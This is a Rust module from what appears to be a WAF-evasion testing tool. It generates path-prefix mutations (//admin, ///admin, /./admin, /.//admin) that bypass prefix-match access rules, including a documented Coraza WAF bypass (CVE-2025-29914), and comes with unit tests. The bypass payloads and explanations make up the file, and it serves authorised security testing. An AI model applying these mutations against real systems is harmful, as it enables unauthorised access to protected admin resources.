wafrift_encoding/path_prefix.rs
1//! Path-prefix mutations — restructure the URI path so the WAF's
2//! prefix-match ACL sees a different shape than the origin parser
3//! eventually serves.
4//!
5//! ## Why this is a distinct module from [`crate::url_mutate`]
6//!
7//! `url_mutate` operates on path SEGMENT bytes and on QUERY VALUE
8//! bytes. The mutations here operate on path STRUCTURE — they change
9//! how the path is delimited, not what's inside it. Lumping them into
10//! `UrlStrategy` would force a value-byte mutator and a path-shape
11//! mutator into one enum and produce category errors at the call
12//! sites that build attack pipelines.
13//!
14//! ## What's here
15//!
16//! ### `PathPrefixStrategy::DoubleSlash` — CVE-2025-29914 (Coraza WAF < 3.3.3)
17//!
18//! Coraza historically used Go's `net/url::Parse()` which treats URIs
19//! starting with `//` as protocol-relative — `//admin` is parsed as
20//! `Host = "admin"`, `Path = ""`. A Coraza ACL of the form
21//! `SecRule REQUEST_URI "@beginsWith /admin"` does not fire because
22//! `REQUEST_URI` was populated from the parsed `Path` field, which is
23//! empty. The HTTP origin behind Coraza (nginx, Caddy, Envoy) re-parses
24//! the raw request line, normalises `//admin` back to `/admin`, and
25//! serves the protected resource. Confirmed CVSS 5.4; fixed in
26//! Coraza 3.3.3. Every unpatched Coraza deployment with any
27//! prefix-match ACL is bypassed by a one-character path edit.
28//!
29//! Citation:
30//! <https://dev.to/cverports/cve-2025-29914-the-double-slash-deception-bypassing-coraza-waf-with-rfc-compliance-2l75>
31//!
32//! ### `PathPrefixStrategy::TripleSlash`
33//!
34//! Stretches `DoubleSlash` further — some normalisers collapse `///` →
35//! `/` only after the first decode, so an origin that decodes once and
36//! a WAF that decodes zero times see different forms. Useful when a
37//! WAF normalises `//` but not `///`.
38//!
39//! ### `PathPrefixStrategy::SlashDot` / `SlashDotSlash`
40//!
41//! `/./admin` and `/.//admin`. RFC 3986 §5.2.4 says these resolve to
42//! `/admin` after segment normalisation. WAFs that match the raw
43//! REQUEST_URI literal miss them; origins that apply RFC normalisation
44//! (Apache, IIS, most reverse proxies) serve the protected path.
45//!
46//! ## Reachability
47//!
48//! Exposed through `mutate_url_with_prefix()`. The strategy engine
49//! drives this via a new `Technique::PathPrefix(...)` arm; the
50//! parser-diff `path` family probes each variant in turn against the
51//! authorised target.
52//!
53//! Pass 21 R62 — frontier technique #4 per the 2025 research scan.
54
55#[derive(Debug, Clone, Copy, PartialEq, Eq)]
56pub enum PathPrefixStrategy {
57 /// `/admin` → `//admin`. CVE-2025-29914 (Coraza < 3.3.3).
58 DoubleSlash,
59 /// `/admin` → `///admin`. WAFs that fold `//` but not `///`.
60 TripleSlash,
61 /// `/admin` → `/./admin`. RFC 3986 §5.2.4 dot-segment that some
62 /// raw-prefix WAFs ignore.
63 SlashDot,
64 /// `/admin` → `/.//admin`. Combines dot-segment with the
65 /// protocol-relative trick — bypasses WAFs that strip only the
66 /// `/.` form OR only the `//` form.
67 SlashDotSlash,
68}
69
70impl PathPrefixStrategy {
71 /// Stable technique label — what the gene-bank stores and what
72 /// shows up in `--techniques` output. Pre-fix mutations that
73 /// shipped without a label silently merged into the catch-all
74 /// `url:path` bucket and the bandit couldn't tell them apart.
75 #[must_use]
76 pub const fn label(self) -> &'static str {
77 match self {
78 Self::DoubleSlash => "path:double_slash",
79 Self::TripleSlash => "path:triple_slash",
80 Self::SlashDot => "path:slash_dot",
81 Self::SlashDotSlash => "path:slash_dot_slash",
82 }
83 }
84
85 /// Apply the mutation to a path-and-query string. Returns the
86 /// mutated string (caller does not re-encode); the path-and-query
87 /// contract from [`crate::url_mutate::mutate_url`] is preserved.
88 ///
89 /// `path_and_query` must start with `/`. If it does not (the input
90 /// is a relative or empty path), the function returns the input
91 /// unchanged — silently doing nothing is the same contract
92 /// `url_mutate::mutate_url` uses for non-conforming inputs.
93 #[must_use]
94 pub fn apply(self, path_and_query: &str) -> String {
95 if !path_and_query.starts_with('/') {
96 return path_and_query.to_string();
97 }
98 let prefix = match self {
99 Self::DoubleSlash => "//",
100 Self::TripleSlash => "///",
101 Self::SlashDot => "/./",
102 Self::SlashDotSlash => "/.//",
103 };
104 // Strip the existing leading slash before prepending — pre-fix
105 // `/admin` → `///admin` for DoubleSlash because the leading `/`
106 // was retained, accidentally producing the next mutation up.
107 // Always normalise to: prefix + path-without-leading-slash.
108 let rest = path_and_query.trim_start_matches('/');
109 format!("{prefix}{rest}")
110 }
111
112 /// Every strategy in canonical order — drives the technique-rotation
113 /// path in the strategy engine.
114 pub const fn all() -> [Self; 4] {
115 [
116 Self::DoubleSlash,
117 Self::TripleSlash,
118 Self::SlashDot,
119 Self::SlashDotSlash,
120 ]
121 }
122}
123
124/// Apply a path-prefix mutation to a path-and-query string. Returns
125/// the mutated form and the technique label.
126///
127/// Wraps [`PathPrefixStrategy::apply`] with the label that the
128/// gene-bank and `--techniques` flag downstream consume.
129#[must_use]
130pub fn mutate_path_prefix(
131 path_and_query: &str,
132 strategy: PathPrefixStrategy,
133) -> (String, &'static str) {
134 (strategy.apply(path_and_query), strategy.label())
135}
136
137#[cfg(test)]
138mod tests {
139 use super::*;
140
141 #[test]
142 fn double_slash_maps_admin_to_double_admin() {
143 // CVE-2025-29914 anti-rig: `/admin` MUST become `//admin`.
144 // If this drifts (e.g. someone "tidies" the leading slash
145 // semantics), every Coraza < 3.3.3 bypass we have stops working.
146 assert_eq!(PathPrefixStrategy::DoubleSlash.apply("/admin"), "//admin");
147 }
148
149 #[test]
150 fn triple_slash_normalises_to_triple() {
151 assert_eq!(PathPrefixStrategy::TripleSlash.apply("/admin"), "///admin");
152 }
153
154 #[test]
155 fn slash_dot_inserts_dot_segment() {
156 assert_eq!(PathPrefixStrategy::SlashDot.apply("/admin"), "/./admin");
157 }
158
159 #[test]
160 fn slash_dot_slash_combines_both_forms() {
161 assert_eq!(
162 PathPrefixStrategy::SlashDotSlash.apply("/admin"),
163 "/.//admin"
164 );
165 }
166
167 #[test]
168 fn already_double_slash_input_does_not_compound() {
169 // Anti-rig: applying DoubleSlash to a path that already has
170 // multiple leading slashes MUST normalise back to exactly
171 // two, not pile them up. Pre-fix the naive `format!("/{p}")`
172 // approach turned `///x` into `////x`, defeating the purpose
173 // (the WAF would already strip three-or-more, the FOUR-slash
174 // case is yet another fold class).
175 assert_eq!(PathPrefixStrategy::DoubleSlash.apply("///admin"), "//admin");
176 }
177
178 #[test]
179 fn preserves_query_string() {
180 // The query MUST survive the path-prefix mutation byte-for-byte.
181 // If the query is rewritten, every other layer of the evasion
182 // pipeline that depends on the query being well-formed breaks.
183 assert_eq!(
184 PathPrefixStrategy::DoubleSlash.apply("/admin?id=1&q=x"),
185 "//admin?id=1&q=x"
186 );
187 }
188
189 #[test]
190 fn non_root_relative_input_passes_through() {
191 // Path that doesn't start with `/` is a contract violation —
192 // return unchanged rather than producing a malformed mutation.
193 // Matches `mutate_url`'s "doesn't look like a path" guard.
194 assert_eq!(PathPrefixStrategy::DoubleSlash.apply("admin"), "admin");
195 assert_eq!(PathPrefixStrategy::DoubleSlash.apply(""), "");
196 }
197
198 #[test]
199 fn root_only_path_is_handled() {
200 // Boundary: `/` → `//`. Some target webserver default-routes
201 // every request to `/`, and `//` is the trivial protocol-
202 // relative form. Don't crash, don't produce empty.
203 assert_eq!(PathPrefixStrategy::DoubleSlash.apply("/"), "//");
204 assert_eq!(PathPrefixStrategy::SlashDot.apply("/"), "/./");
205 }
206
207 #[test]
208 fn all_strategies_label_distinctly() {
209 // Anti-rig: every strategy MUST produce a distinct technique
210 // label, otherwise the bandit can't separate winners from
211 // losers and the gene-bank merges adversarial classes.
212 let labels: Vec<&str> = PathPrefixStrategy::all()
213 .iter()
214 .map(|s| s.label())
215 .collect();
216 let unique: std::collections::HashSet<_> = labels.iter().collect();
217 assert_eq!(
218 labels.len(),
219 unique.len(),
220 "every PathPrefixStrategy variant must have a distinct label"
221 );
222 }
223
224 #[test]
225 fn mutate_path_prefix_returns_label_matching_strategy() {
226 // Anti-rig: the label returned by the public helper must
227 // match the strategy's own label — pre-fix a refactor that
228 // wired the wrong label through silently shipped.
229 for s in PathPrefixStrategy::all() {
230 let (_, label) = mutate_path_prefix("/admin", s);
231 assert_eq!(label, s.label());
232 }
233 }
234}